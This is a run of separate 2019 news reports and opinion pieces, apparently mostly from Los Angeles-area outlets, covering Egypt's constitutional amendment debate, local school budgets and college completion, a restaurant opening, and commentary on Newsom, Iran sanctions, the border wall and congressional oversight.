Samir Ghattas, an independent MP, also voiced concern that the amendments are a setback to the pre-2011 period, and represent an assault on the sovereignty of the judiciary.

Ghattas said the amendments violate Article 226, which stipulates that amendments of the presidential term can take place only to "bring more guarantees."

In response, Speaker Abdel-Aal insisted that the amendments are by no means tailored to benefit any individual.

These amendments should be read under the title 'reforming Egypts political system'," the speaker said.

We do not say that we want to remove the limit on presidential terms, but we are just talking about the necessity of increasing the years of the presidential term, said Abdel-Aal.

Any president will not be allowed to stay more than two terms, as the constitution stipulates, but the change will just lead to increasing the presidential term from four to six years to allow the president  any president and not a particular one  to implement his programme amid unstable conditions in our region.

We live in a region rife with risks and threats and we want our country to remain stable, and so we change the constitution to give stability to our country, said Abdel-Aal.

Abdel-Aal indicated that we will have a transitional article that will allow President [Abdel-Fattah] El-Sisi stay in power according to the new amendment, and at the end it is up to him to approve this or not.

Mohamed Saad Badrawi, the parliamentary spokesperson of the National Movement Party suggested that parliament send a message to President El-Sisi to know whether he approves of the presidential term being increased from four to six years.

In response, speaker Abdel-Aal said it is parliament which has taken the initiative to amend the constitution.

The president is also authorised by Article 226 to ask for amendments the constitution, but he did not do this, and it is parliament that took the initiative, said Abdel-Aal.

The amendments aim to increase the presidential term from four to six years, and in 2022 when President El-Sisis term in office expires, he will be the one who will decide whether to run again in line with the new amendment, said Abdel-Aal.

Abdel-Hadi El-Qasabi, the majority leader, said the amendments were submitted by 155 MPs because they love their country and want to see it stable.

President Abdel-Fatah El-Sisi was able to restore Egypts prestige in Arab, international, and African circles, and we want him to stay for a period long enough to reinforce the countrys stability, said El-Qasabi, declaring the majority bloc's (344 MPs) provisional approval of the amendments.

Ayman Abul-Ela, the parliamentary spokesperson of the Free Egyptians Party, said Egypt does not have good leaders like President El-Sisi.

Unfortunately we do not have capable and efficient leaders who can compete against President El-Sisi in an election.

We will not let Egypt be run by amateurs, and we will not let Egypt be led by weak political parties and so why shouldnt we all let President El-Sisi stay in power for a longer period at a time as Egypt desperately needs his leadership, said Abul-Ela.

Hani Abza, the parliamentary spokesperson of the Wafd Party, said Al-Wafd approves the amendments in principle because we want a president who was able to save Egypt and rebuild the foundations of the state to stay.

When El-Sisi came to power, Egypt was just a semi-state that had no education, health or an infrastructure, but now we have a strong modern state, said Abaza, adding that it is completely illogical to say that the president must say at the end of his term without completing his programme.

Ahmed Khalil, the parliamentary spokesperson of the ultraconservative Salafist Nour Party, said his party approves in part the amendments.

I say in part because we object that the amendments describe Egypt as a civilian state, allocate a quota of 25 percent of seats in parliament to women, and affect the independence of the judiciary, said Khalil.

The Nour Party rejects the civilian state, the police state or the theocratic state, and we also insist that Egypt is not a secular state, and we only believe that Egypt should be a modern democratic state in line with Article 2 of the constitution [on Islamic Sharia].

In response, Speaker Abdel-Aal said Egypts government is civilian.

This does not mean that it is secular, but it just means that Egypt is neither a religious state nor a military-ruled state, said Abdel-Aal.

Hala Abul-Saad, the parliamentary spokesperson of the Conservatives Party, said constitutions should not be viewed as rigid texts, and they should be open for change, and a four-year experience shows that Egypts 2014 constitution needs a review.

Abul-Saads approval comes in spite of her partys rejection of the amendments.

Abul-Saad said a review of the constitution shows that more than 20 percent of seats in parliament should be allocated to women as they now represent 40 percent of Egyptian society.

A number of MPs decided to reject the amendments, insisting that they do not bring any new democratic guarantees as required by Article 226 of the constitution.

They also said they reject allocating 25 percent of seats to women in parliament as this violates the principle of equality. They said that they stand against bringing the old Shura Council back under the name the Senate. To them, the proposed Senate will be a costly house and will be manipulated by the president to control the media.

The list of the opponents include Ihab Mansour, the parliamentary spokesperson of the Egyptian Social Democratic Party; and Sayed Abdel-Aal, head of the leftist Tagammu party. It also comprises leftist independents Ahmed El-Sharkawi, Haitham El-Hariri, Samir Ghattas, Mohamed Abdel-Ghani, Mohamed El-Itmani, Talaat Khalil, and Nadia Henry.

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Cutbacks  whether immediate or done over a few years  appear to be in the offing for the Glendale Unified School District, with the potential for layoffs in the future.

District staff presented an updated solvency plan to slice $10 million out of budgets for the 2019-20 and 2020-21 school years, with the goal to close two years of deficit spending during a school board meeting last week.

While no layoffs were specifically outlined, the proposal presented by Stephen Dickinson, the districts chief business and financial officer, called for several budget reductions.

Administrative and management staff levels are to be trimmed by $600,000 either this school year or spread out over the next two years, while classified staffing levels are to be cut by $800,000.

Certified staffing  or teachers  would also be reduced by $1.5 million because of declining student enrollment in the district.

If you decline, you have to make roughly the same percentage of staffing cuts as the enrollment loss, Dickinson said. If you lose 1%, you probably need to lose 1% of the teaching [staff] to keep up.

Interim Supt. Kelly King, participating in her first regular board meeting in her new role since taking over for dismissed Supt. Winfred B. Roberson, said district staff members are working with department heads to see what cuts can be made, but fell short of saying there would be no job losses.

What is the percentage of staffing we give based on the number of students? King asked. If we are overstaffed in those areas, we may need to look at options with personnel in the management side of it.

This years enrollment is estimated to be 25,790 students, according to data from the California Department of Education, which is the lowest for the district in at least 10 years, and represents a drop of nearly 1,000 students compared to the 2008-09 school year.

At best, Glendale Unifieds enrollment will remain flat in 2019-20, though district staff members are saying a 2% decline, or a loss of 550 students, is possible.

School officials estimate the district will receive $9,759 per student from the state for the 2019-20 school year, so every student Glendale Unified loses could result in almost $10,000 hit.

School officials also plan to decrease the districts health-and-wellness benefit rate from 9% to 8%, which will save $300,000.

Another proposed cut is the termination of the middle school summer program, which would save the district $317,867.

The programs possible elimination is part of the slashing of $2.1 million in services and supplies that includes $1.1 million in office supplies, along with $150,000 worth of copier and printer equipment services.

To be clear to the community, we shouldnt say were saving money, board member Armina Gharpetian said. These are not savings, but, literally, theyre cuts.

Dickinson presented three approaches for cutting, labeled as conservative, middle and least conservative.

The conservative option calls for roughly $8.6 million in cuts during the 2019-20 school year and an additional trimming of $1.4 million in 2020-21.

The middle option would mean about $5 million in cuts each year, while the least conservative model calls for $3.3 million in reductions during 2019-20 and then $6.7 million in 2020-21.

Dickinsons plan is an update of the districts qualified budget filed with the L.A. County Office of Education on Dec. 11 that called for $5 million in cuts for the 2019-20 school year.

The district has been deficit spending  or spending more money than its bringing in  for two years, and school officials indicated in December the district may not be able to meet its financial obligations for the current and subsequent two fiscal years.

While the updated plan is gloomy, there were a couple of silver linings because of Gov. Gavin Newsoms revised state budget.

Newsoms budget proposal includes an increase in per-student funding by 3.46%, which is higher than Glendale Unifieds estimate of 2.57% and could result in an additional $2 million in the local districts 2019-20 budget.

The state is also investing $3 billion that is generally earmarked for districts as one-time funding to help lower the contribution rate that districts pay into the State Teachers Retirement System, commonly known as STRS.

In 2019-20, the districts rate will drop from 18.13% to 17.13%, for a savings just under $1.28 million.

Lower STRS rates are expected to save the district roughly $3.75 million over the next three school years.

District staff members are expected to present a more formalized plan during the next school board meeting on Tuesday.

andrew.campa@latimes.com

Twitter @campadresportsAuthorities arrested a man during a routine traffic stop in Glendale on Thursday after they allegedly found him in possession of cocaine for sale.

Jose Rivera, 25, was arrested on suspicion of possessing a controlled substance for the purpose of sales.

Tahnee Lightfoot, a spokeswoman for the Glendale Police Department, said Rivera was driving a Dodge Charger near Colorado and Adams streets around 6 p.m. when he was pulled over for not displaying his license plates. She said Rivera could not provide any form of identification to the officer, and a records check revealed he had a warrant for driving on a suspended license.

During a search of his vehicle, police reportedly found a substantial amount of white powdery substance resembling cocaine, along with packaging materials, scales for weighing and an undisclosed amount of cash.

Rivera was taken into custody and was released the next day on $30,000 bail.

andy.nguyen@latimes.com

Twitter: @Andy_TrucThe partners behind A Restaurant and A Market in Newport Beach are starting a new endeavor down the highway in Corona del Mar.

Theyre calling the place CdM, a common abbreviation for the coastal neighborhood, as well as the local high school, and its slated to open in March.

Jonathan Blackford, also of A Restaurant, is designing the menu, which draws its influence from Americas melting pot of cuisine.

That means steak, fish, pizza baked in a wood stone oven, and pasta made in unique shapes. Add to that an in-house, dry curing cabinet for custom charcuterie.

Its accessible and delicious, partner Joseph McGinty Nichol said in a recent interview at CdM, then still under construction.

A salt-baked whole branzino (a Mediterranean fish) with Parisian potatoes and soft herbs, accompanied by piccata, tomato and olive, and salsa verde sauces. (Photo courtesy of CdM)

Nichol, who goes by McG, is a Newport native, Corona del Mar High graduate and Hollywood veteran whose directorial credits include Terminator Salvation and Charlies Angels.

CdM will feature a ground-floor restaurant and bar. A small speakeasy-style barroom with a 1940s vintage photo booth is planned for the space below. A once-functioning apartment above the restaurant may be transformed into a private space themed after The Apartment, Billy Wilders 1960 romantic comedy.

During a walkthrough, McG noted how CdM will feature a host of custom details, such as a 150-year-old floor, which once lined a Chicago factory, and light fixtures from salvage shipyards. The partners are also selecting unique chairs for each table.

A welder puts the finishing touches to a brass rail in the new CdM Restaurant in Corona del Mar. (Photo by Don Leach / Staff Photographer)

CdM will ensure no set of vintage salt and pepper shakers are alike, according to a press release.

Were always looking for things that are interesting, McG said. We want something handmade, bespoke, odd ... we always want to add oddness and quirk.

McG and his partner, Jordan Otterbein, noted how CdMs building at 2325 E. Coast Hwy. most recently housed the Crow Bar and Kitchen, but before that, it was Matteos Italian Restaurant, one of John Waynes hangouts.

Matteos closed in 1993 after a 23-year run. Somewhere at CdM, youll find one of Waynes Scotch glasses, they promised me.

For more information about CdM, you can follow them on Instagram @CdMrestaurant.While graduating from high school and enrolling in college is trying enough, the real tribulation for some Burbank Unified students appears to be earning a post-secondary degree.

Fewer than 40% of Burbank Unified students from the graduating classes of 2011 and 2012 who enrolled in either a community college or university received a degree within six years, according to a report from the National Student Clearinghouse.

The average for 2011 was 33%, and the average rose to 38% for the class of 2012.

From the 2011 class of 1,248 graduates, 415 earned a degree from a two- or four-year institution within six years.

Of that total, 330 received degrees from a four-year university and 85 were given degrees from a community college.

The report also states that 359 of those degrees were obtained within the state.

From that 2011 group, 13.5% never attended college, while 29.2% dropped out of college.

The 2012 group included 404 degrees from a university and 99 from a community college.

Also, 457 degrees were obtained in California.

Those statistics come despite more Burbank Unified students enrolling for a post-high school education.

Since 2011, 74% of Burbank Unified students enrolled in two- or four-year institutions immediately following their senior year, while that number rose to 82% within the first two years of high school graduation.

Burbank Unified also posted a persistence rate of 92% among its students, meaning a majority of students who enrolled for a freshman year returned to school for a second year.

However, the statistic also means that most Burbank Unified students who drop out leave school after their freshman year.

We see that data nationwide of students that are not able to get out of community college and into a four-year [university] or theyre not getting the courses in community college, so its dragging on, Burbank Unified Supt. Matt Hill said.

Hill added, In the four-year universities, youre seeing a lot of students at [Cal State universities] as well as [universities of California] and theyre not making it to that junior year. Theyre paying a lot of debt, and theyre not finishing with that diploma.

Persistence has also led to an increase in degrees awarded past the traditional four-year period.

From the 2007 class, 10% of Burbank Unified students graduated in five years, while 5% received a college degree in six.

The most recent class with six years of data, the class of 2012, posted five-year graduation rates of 11% and six-year rates of 7%.

One of the key items I would like for the public and the community to really look at is the number of students that are graduating in six years is going up, said John Paramo, the districts director of secondary education.

They are being persistent, they are continuing and were seeing that number rise, he added.

In terms of collegiate choice, Glendale Community College was the No. 1 school for Burbank Unified students as 1,558 have enrolled there since 2011, while Pasadena City College (968) and Los Angeles Valley College (813) finished second and third, respectively.

Cal State Northridge topped the four-year universities, with an enrollment of 683 Burbank Unified students, while UC Irvine was the top UC school, with 165 students.

Woodbury University was the top private school, with 39 students.

andrew.campa@latimes.com

Twitter @campadresportsThere was an itchiness to the relationship between Gavin Newsom, who spent eight years as an understudy, and former Gov. Jerry Brown.

Much of it was institutional: Californias lieutenant governor and chief executive dont run on a joint ticket and once elected, the second in command has almost no official duties. The structure allows even a middling leader to cast an imposing shadow.

But with Brown, an iconic Democrat and the states longest-serving governor, the shadow was more like a slow-moving solar eclipse.

That may help explain why Newsom, in his first State of the State address, sought in tone and tempo to revise his agenda for California and rethink its approach to governing. Where Brown often embraced incrementalism, Newsom urged lawmakers to speed things up.

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There are problems that have been deferred for too long and that threaten to put the California dream out of reach for too many, he said. We face hard decisions that are coming due.

Some pronouncements in his address marked a clear departure from the Brown era. Most notably, Newsom embraced only part of Californias beleaguered high-speed rail project, declining to commit to much more.

Lets be real, he said.

But it was potential, not reality, that Brown used as a measuring stick for the $77-billion project. Six years ago, he used his State of the State speech to liken the endeavor to the childrens book, The Little Engine That Could.

I think I can, Brown said, reciting from the book and channeling its optimism. And over the mountain, the little engine went!

Newsom pledges to scale back high-speed rail and twin tunnels projects in State of the State speech 

Newsom cast doubt on that approach, obliquely criticizing the Brown administrations management of the bullet train. He sounded a similar concern for the status of the controversial Sacramento-San Joaquin Delta water project, promising a fresh approach on another key but unfinished part of the Brown legacy.

Californians would be forgiven if they expect Newsoms tenure to be a sequel to Browns. They are the first Democrats since 1887 to follow each other into the governors office. Newsom, whose ties to Brown go back a couple of generations in San Francisco politics, frequently praises the former governors fiscal discipline and stewardship of the idea of California exceptionalism. Introducing Brown at last years State of the State event, Newsom praised him as a sui generis leader, a Latin phrase meaning of its own kind.

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But the 51-year old governor, beginning his second month on the job, on Tuesday offered a perspective on state and national events that was more pugnacious than any similar speech by the man who came before him.

Speaking to a Legislature stocked with Democrats  who now hold 88 of its 120 seats  Newsom renewed his support for a state single-payer healthcare system, an effort Brown refused to even consider without first knowing where the money would come from.

Where the former governor insisted Californias wildfire future depends on loosening the liability standards that force utility companies to pay billions, Newsom instead framed the path forward as one focused on justice for fire victims, fairness for employees, and protection for ratepayers.

And while just a few months ago Brown heralded his last budgets record-breaking support for K-12 schools, the governor who inherited that fiscal framework said Tuesday that California is overdue for an honest conversation about whether the state is doing enough for education.

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Newsom began carefully distancing himself from Brown long before the State of the State speech. Through the end of last years campaign and in his first few weeks in office, the governor has hinted before that he wont hesitate to go where Brown didnt.

Last month, Newsom said he would roll up his sleeves to search for consensus on rethinking Californias tax structure in hopes of avoiding a 2020 ballot fight over the legacy of the landmark Proposition 13, which has strictly limited growth in property taxes for more than 40 years.

Gov. Brown had no interest in this, even at the peak of his power, influence and insight, Newsom said of working on tax reform. (What he didnt say: Brown argued that a lack of broad-based political consensus would make pursuing the issue impractical.)

Newsoms State of the State address may be remembered most for providing him the best opportunity to step out of Browns shadow, but there is much on which the two leaders agree. The governors budget proposal last month asked lawmakers to take an approach similar to one that has been in place for the last several years: Spend billions of dollars in tax windfalls largely on one-time expenses, not ongoing endeavors.

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Nor was all of Tuesdays address different from those in the past. Like Brown, the new governor condemned the effort by President Trump and congressional Republicans to scrap the Affordable Care Act as actions tantamount to vandalism. Later, he embraced Browns frequent demands to loosen the California Environmental Quality Act. The former governor once called an overhaul of the law the Lords work. In his speech, Newsom framed loosening the constraints of CEQA as a means to boost construction of needed housing.

Nor did he completely disavow high-speed rail, pausing for a beat in his speech to praise the vision of Brown and former Gov. Arnold Schwarzenegger.

Theres no doubt that our states economy and quality of life depend on improving transportation, Newsom said.

The path forward for the governor has little precedent. Only three lieutenant governors in the last 70 years have gone on to the state Capitols corner office. Few, if any, followed behind a governor who left office with high job approval ratings and a reputation  even among his critics  for pragmatism.

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In his first chance to take stock of things, Newsom offered familiar but notable observations as bookends.

The state of our state is strong, he said at the speechs outset.

At the end, though, he told the audience, The best is yet to come.

john.myers@latimes.com

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Follow @johnmyers on Twitter, sign up for our daily Essential Politics newsletter and listen to the weekly California Politics PodcastPresident Trump claims his economic sanctions on Iran are the toughest ever and that his policy of maximum pressure is already a success.

But his own intelligence chiefs dont agree. In their view, Irans behavior may be getting worse, not better.

Theres a paradox at the heart of Trumps policy. His sanctions are tougher than many skeptics expected. And theyve been effective in one sense: They helped pitch Iran into a recession.

But creating economic pain isnt the goal. The goal is to force Iran to improve its conduct  to accept stricter limits on missiles, to accept a nuclear deal more onerous than the accord Trump abandoned, and to stop what the White House calls malign activities across the Middle East.

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That hasnt happened. Instead, as the CIA and other U.S. intelligence agencies told Congress recently, the latest sanctions may have strengthened hard-liners in Tehran.

The U.S. penalties prompted European firms and international banks to flee Tehran. Oil exports, Irans main source of income, have fallen by 60%. The International Monetary Fund projects that the once-growing economy will shrink 3.6% this year.

Thats impressive, especially since the European Union and other countries opposed the sanctions. Most foreign policy experts say that unilateral sanctions dont work and that only multilateral efforts can succeed.

These sanctions have surprised people by how effective theyve been, Elizabeth Rosenberg, who worked on Iran sanctions in the Obama administration, told me.

But Trumps victory claims go far beyond economic distress in Tehran.

When I took over two years ago, Iran was going to take over the Middle East, the president said last month. They were going to have all the nuclear weapons they wanted in a very short period of time.

Iran is a much different country right now, he said. Theyre having riots every week, in every city  bigger than theyve ever had before. Their currency is under siege thanks to us. A lot of bad things are happening. When we do all of the things that weve done monetarily to Iran, Iran is in trouble.

His intelligence chiefs effectively dismissed those boasts in their annual report to Congress on worldwide threats.

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They said Iran wasnt moving toward nuclear weapons when Trump took office. Instead, thanks to the 2015 nuclear accord signed by President Obama, Tehran was further from acquiring nukes than before.

Irans drive to expand its footprint in the Middle East is getting worse, not better, the spy chiefs said, partly a result of Trumps efforts to withdraw U.S. troops from Syria.

We assess that Iran will attempt to translate battlefield gains in Iraq and Syria into long-term political, security, social and economic influence, they wrote.

And while domestic unrest will persist in Iran, they wrote, the protests are likely to remain uncoordinated and lacking central leadership or broad support.

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In sum, the sanctions havent accomplished their principal goals  at least not yet.

Part of the problem is that the sanctions could still be tougher. The White House says it wants to reduce Irans oil exports to zero; that hasnt happened because eight of Tehrans customers including China, India and Japan cut deals to reduce their purchases gradually.

Moreover, the Islamic Republic has 40 years experience surviving economic sanctions  and evading them. Tehrans strategy is familiar: It is trying to wait Trump out and hoping for a less confrontational president after the 2020 election.

But the White House has a problem of its own: It hasnt set a clear and achievable diplomatic goal.

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Instead, it has proposed multiple ambitious goals: negotiating a new agreement on nuclear and nonnuclear weapons, changing Irans behavior in the Middle East, and helping the Iranian people choose a better government.

That last goal is sometimes called, less politely, regime change.

Trump says he wants to talk face to face with Irans leaders, just as he has with North Koreas Kim Jong Un. Id love to negotiate with Iran, the president said last month.

But his secretary of state, Michael R. Pompeo, and his national security advisor, John Bolton, often sound as if theyre yearning for regime change. Not surprisingly, Iranian officials see them as a threat.

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When Pompeo listed specific U.S. goals last year, it added up to a demand that the Tehran government abandon virtually all its policies.

Pompeo said economic sanctions would come off only if Iran accepted stricter limits on nuclear research and missile development, withdrew its forces from Syria, ended support for pro-Iranian groups in other countries, halted verbal threats against Israel, and made substantial improvements on human rights at home.

Iranian officials laughed that off as a demand for capitulation.

Trump is right on several counts: Negotiations are a good idea. Limits on Irans military activities are a worthy goal. So is improving Irans appalling record on human rights.

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But sanctions are only a first step toward those ends. Trump needs to let Irans rulers know that theres something in it for them  just as he has with North Korea.

Until then, no matter what Trump says, his sanctions are unlikely to succeed.If President Trump shuffles money in the federal budget to build a wall at the southern border without Congress consent, there are a few ways for Democrats to try to stop him.

Each option comes with difficulties and long odds for both sides.

Trump said Thursday he intends to move forward with a plan to fund his border wall by declaring a national emergency because Congress wont give him taxpayer funds.

The budget deal reached this week on Capitol Hill provides $1.375 billion for 55 miles of new border fencing, but no wall. Thats significantly less than the $5.7 billion he wanted for a wall.

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Heres a look at how Democrats might respond if Trump moves to find wall money without congressional approval.

Can Trump even do that? Doesnt Congress hold the power of the purse?

Yes, Congress is responsible for deciding how your tax dollars are spent, and it is quite possessive of that power. But there are a few places Trump could get the money without congressional approval. None will be easy or popular.

Trump could pull unspent Department of Defense construction funds meant for family housing or infrastructure on military bases, or take money appropriated to but not yet spent by the Army Corps of Engineers for civil works projects meant to prevent future disasters like flood control or dam restoration. Or he could tap money allocated to help states recover from hurricanes, fires and other natural disasters.

How would that work?

Trump must issue an executive order declaring a national emergency. (No, he cannot just tweet.) It has to say what hes planning to do and under which statute he plans to act.

Thats pretty much it, said Elizabeth Goitein, a co-director of the Liberty and National Security Program at the Brennan Center for Justice. He doesnt really even have to explain his reasons for saying there is an emergency.

Someone would sue, though, right?

Inevitably.

While some federal judges would defer to the presidents power to declare an emergency, Goitein said, others would rule against him because of the unusual circumstances. Of the more than two dozen emergency declarations currently in effect, most are about economic sanctions against foreign actors or governments. A few in recent years have been domestic, like fighting swine flu. Goitein, an expert on emergency declarations, called the idea of Trump using one to build a wall because Congress wont give him the money unprecedented.

You would get different rulings in different courts and it would eventually make its way to the Supreme Court, Goitein said.

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A legal fight might actually be helpful to Trump, UC Berkeley political science professor Eric

Schickler said.

From the presidents standpoint, thats not necessarily so bad because at least he can say hes still fighting for it. Hes not conceding, he said.

Is there anything House Democrats could do?

Democrats have a bit of a secret weapon here, and it could be why Trump seemed at one point to cool on the idea of a national emergency. Federal law gives Congress the power to rescind a presidential emergency declaration by passing a joint resolution.

And a joint resolution is privileged, meaning that if it passes the Democratic-controlled House, the Republican-controlled Senate is obligated to vote on it within 18 days.

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It cant be filibustered. [Senate Majority Leader] Mitch McConnell cannot say hes not bringing it to the floor. So its a very powerful political weapon that Congress has, Goitein said.

The GOP would have to publicly wrestle with questions of separation of powers, executive overreach and repurposing military funds for a widely unpopular border wall.

There is a strong chance many Republican senators would join Democrats in voting to block Trump because they are leery about the precedent set by using a emergency declaration to deal with immigration, and what a future Democratic president might do with such power. Could the same type of declaration, for example, be used to divert funds to combat climate change?

Of course, Trump could veto the resolution. And it would take two-thirds of Congress to override the veto, a high hurdle.

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Does the president have to issue an emergency declaration to move money around?

Not necessarily, but it would be harder to get the amount of money he says he needs.

The president could repurpose some of what Congress allocates, especially if a particular appropriation is vaguely worded or overly broad. The administration is currently scouring the budget for that kind of money.

But again, Congress is rather possessive of its role in appropriating money, and it doesnt leave a lot just floating around at federal agencies.

Congress isnt really in the habit of giving that kind of discretion,

Schickler said. I have trouble imagining that its enough to fill that gap.

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If he oversteps what he can legally move, even by a small amount, expect Congress to challenge him in court for violating the separation of powers

Anything else Congress could do?

Yes. Representatives and senators are also considering legislation to block Trump from accessing the most likely available pots of money. But this move is both more time intensive and less likely to succeed.

Rep. John Garamendi (D-Walnut Grove), who first drew attention to the fact that Trump was considering diverting billions of dollars in funds designated for Corps of Engineers projects in California and Puerto Rico to fund his wall, is leading the effort in the House.

His bill would eliminate a provision in a 32-year-old law that allows the secretary of the Army to unilaterally redirect funds from the Armys civil works program if war has been declared or the president declares a national emergency. The provision has never been used, Garamendi said.

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Communities across America and particularly in California desperately need that money to protect themselves, Garamendi said. No president has thought it wise to interfere with those ongoing civil works programs, nor have they thought it necessary.

In the Senate, several Democrats, including California Sens. Dianne Feinstein and Kamala Harris, are supporting legislation to specifically prohibit using military construction funds or Corps of Engineers disaster funds to build a barrier of any kind or acquire land for a barrier at the southern border, even when the president declares a national emergency.

But without bipartisan support, neither piece of legislation is likely to move through the Republican-controlled Senate.

The latest from Washington 

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More stories from Sarah D. Wire To the editor: I owe some gratitude to columnist Steve Lopez for squaring the circle and looking at L.A. City Halls rat problem, enabling us to identify the 10th of the plagues that make up life in Los Angeles.

These plagues are, in no particular order: earthquakes, fires, floods, mudslides, drought, the nations worst traffic, pollution, high taxes, ready-to-fall-into-the-ocean infrastructure and, finally, the crown jewel in the city tiara, corruption.

This combination of natural and man-made disasters is tolerated by the local denizens because they must endure only a few inches of annual precipitation and the heat provided by an incessant sunshine (combined with a concomitant phobia of the cold, defined as below 60 degrees Fahrenheit).

So, why am I out here? Ask my ex-wife.

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Marc Rogers, North Hollywood

..

To the editor: Kudos to Lopez for calling out the trifecta of corruption  Los Angeles, Democrats and City Hall.

Fumigating the entire building might take out the rodents, but it probably wont get rid of the cockroaches at City Hall. So, lets fumigate and simultaneously shrink the size of government so there is less of it for rats to infest.

Craig A. Nelson, Solana Beach

..

To the editor: My wife and I both contracted typhus more than a year ago, most likely because of a neighbor of ours who is a hoarder and whose backyard is home to countless rodents and other critters.

After the disease was diagnosed and we received medical treatment, we contacted various city departments to alert them to the situation and to request action (cleanup or inspection) of the neighbors yard and home.

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We were handed off from one department to the next and  surprise  in the end no one was responsible or dealing with such matters.

Now, with typhus possibly being linked to City Hall, the L.A. Times and other news outlets cover the situation extensively, carpets are being ripped out and a health crisis is being discussed. Funny how these things work as soon as city officials may be at the receiving end.

Yves Didier, Reseda

Follow the Opinion section on Twitter @latimesopinion and FacebookThe structure of the U.S. Constitution assumes that the electoral process  aka politics  is the primary means of holding federal officials accountable to the people. Which is why President Trumps tweet storm assailing the House of Representatives oversight hearings as PRESIDENTIAL HARASSMENT is wrong as a matter of constitutional law.

The hearings inform our politics and reflect them; in this case, who won the midterm.

To be sure, we can all buckle our seat belts in anticipation of fiery probes of all things Trump by the now Democratic controlled House. The top target: the cozy relationship between the president and Russian President Vladimir Putin, and the possibly nefarious reasons behind it. That it is also the stuff of special counsel Robert S. Mueller IIIs investigation in no way removes it from congressional scrutiny.

House Democrats are not going nuts, to use the presidents word. The hearings scheduled arent unprecedented, despite tweets to the contrary.

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There are also Trumps elusive tax returns to look into, the financial ins and outs of the Trump Organization, the administrations disparate handling of Hurricanes Harvey, Irma and Maria, the family separations and juvenile deaths at the southern border  among umpteen other matters.

Any one of these could undoubtedly have already drawn congressional oversight under more normal administrations. The fact that the Congress is roaring back to life is a good thing  for both democracy and We the People.

In the Constitutions separation-of-powers design, members of Congress and the president are held accountable by the people at the ballot box. Those within the presidents chain of command  including military personnel and federal agency bureaucrats  are accountable to the people through him too, because he hires and fires them.

A sitting president may also be held accountable through the courts, but the judicial branch is not tethered to popular will. Federal judges are appointed for life on the theory that the people fare better if courts make decisions based on individualized facts and the applicable law, not on politics or the prospects of reelection. But if these judges get things wrong, the people cant fire them.

Moreover, relying on federal courts and especially the Supreme Court to judge contentious executive rules and actions is laborious and its outcome  a decision that determines the meaning of the Constitution  is inflexible. And when it comes to potential criminal behavior, there are those who contend that the Constitution doesnt allow indictment of a sitting president.

So its best that Congress be the one to grade the presidents papers, so to speak; but are there limits?

Just ask the soon-to-be attorney general of the United States, William Barr. He gave an answer to this question in a memorandum prepared back in 1989, when he was an assistant attorney general in the Office of Legal Counsel  the elite unit of the Department of Justice that advises the president on constitutional matters  under President George H.W. Bush.

Barr argued  I think properly  that the constitutional role of Congress is to adopt general legislation that will be implemented  executed  by the executive branch, and that this general legislative interest gives Congress investigative authority. In other words, Congress can investigate because it can legislate.

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As a matter of practice, the president can try to evade a congressional investigation with a claim of executive privilege. The theory behind the claim is that candor among the presidents advisors is a good thing. If a presidents confidants know that what they say can be flashed before the public in a congressional hearing or otherwise, they may not be willing to speak up  and a lack of frankness would be bad at the helm of the executive branch.

But executive privilege is not absolute. Back to Barrs memo: The Constitution nowhere expressly states that the President, or the executive branch generally, enjoys a privilege against disclosing information requested by the courts, the public, or the legislative branch. The need for candor must give way to the greater public interest, which includes  and on this Barr quotes the Supreme Court  the possibility that such conversations will be called for in the context of a criminal prosecution.

Ideally, where Congress has a legitimate need for information, and the executive branch has a legitimate, constitutionally recognized need to keep certain information confidential, the two branches will try to accommodate each other  an unlikely outcome in our toxically polarized political climate.

Which brings us back to the harassment versus appropriate oversight dance going on in Washington now. When is an executive branch refusal to play ball as legitimate or more legitimate than Congress need for information?

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Enter the Fray: First takes on the news of the minute from L.A. Times Opinion 

There is no black-and-white legal answer to this question. But we can be sure that claims of executive privilege are not a shoo-in. Its undeniable that questioning acting Atty. Gen. Matthew Whitaker about goings-on at the Department of Justice could help Congress decide whether to pass legislation making it harder to dismiss a special counsel.

Additionally, the 17 known potentially criminal investigations of Trump-related matters provide a strong rationale for a congressional peeking behind the curtain. And indeed, if those who believe that a president cannot be constitutionally indicted by a grand jury  and thus ultimately cannot be tried before a federal judge  are correct, congressional oversight would be the sole option for ensuring the presidents fidelity to the voters interests.

So, no, House Democrats are not going nuts, to use the presidents word. The hearings scheduled arent unprecedented, despite tweets to the contrary. And rather than harassment, robust congressional oversight represents the best way to scrutinize the actions of this or any administration.

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Kim Wehle is a professor at the University of Baltimore School of Law, a former assistant U.S. attorney and associate independent counsel in the Whitewater investigation. Her book How to Read the Constitution and Why will be published in June. @kim_wehle

Follow the Opinion section on Twitter @latimesopinionand FacebookThe United States has a long history of responding to migration emergencies with legislative remedies crafted for specific situations. Sometimes, the intent has been to open doors, at other times to close them. The current influx of Central American asylum seekers at our southern border also needs a highly targeted fix.

Unfortunately, whats on the table in the negotiations now underway in Washington has little chance of solving the problem, or worse, aims to solve the wrong problem.

Every proposal for a wall, whether big and beautiful or smart and high-tech, assumes the top priority at the border is stopping illicit entries through unguarded countryside. Thats the wrong place to look. The Central Americans who have caused so much consternation of late are lined up at the official crossing points so they can apply for asylum with U.S. authorities.

However many millions of dollars are dispatched to immigration enforcement this year, the migration of Central Americans to our border will continue.

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In dealing with asylum seekers, the Obama administration followed the lead of several administrations that preceded it and adopted policies of deterrence that sought to discourage weak and fraudulent claims by raising the costsphysical, financial and psychologicalof getting through the process successfully. President Trump has taken this kind of deterrence to inhumane and, as the courts have found repeatedly, illegal extremes. No lasting reduction in the number of asylum seekers has resulted from all the various forms of detention, accelerated hearings and removals.

Proposals to make the asylum system fairer and more efficient are the most common alternative to deterrence. Immigrant advocates, seeing an influx of persons fleeing violence and insecurity, argue for more immigration judges and streamlined procedures. That approach is a start, but wouldnt be nearly enough.

For the foreseeable future, tens of thousands of people a year will continue leaving Central Americas so-called Northern Triangle of El Salvador, Guatemala and Honduras. This migration must be addressed over the long term with more money and greater urgency. In some ways, building economies that can provide a decent living to the population is the easy part, although it will take years. Establishing the rule of law in these countries will need to be a generational project. And the devastation of croplands because of climate change might be irreparable.

Against such push factors, deterrence is a losing game. Spending on border security has been escalating for a quarter century to diminishing effect, and a decade of expanding the number of detention beds also hasnt worked. However many millions of dollars are dispatched to immigration enforcement this year, the migration of Central Americans to our border will continue.

If the flow cannot be deterred, neither can it be absorbed entirely within the asylum process. Too many of the migrants, even those with deeply compelling claims for safety and assistance, will not fit easily into the narrow categories of U.S. asylum law.

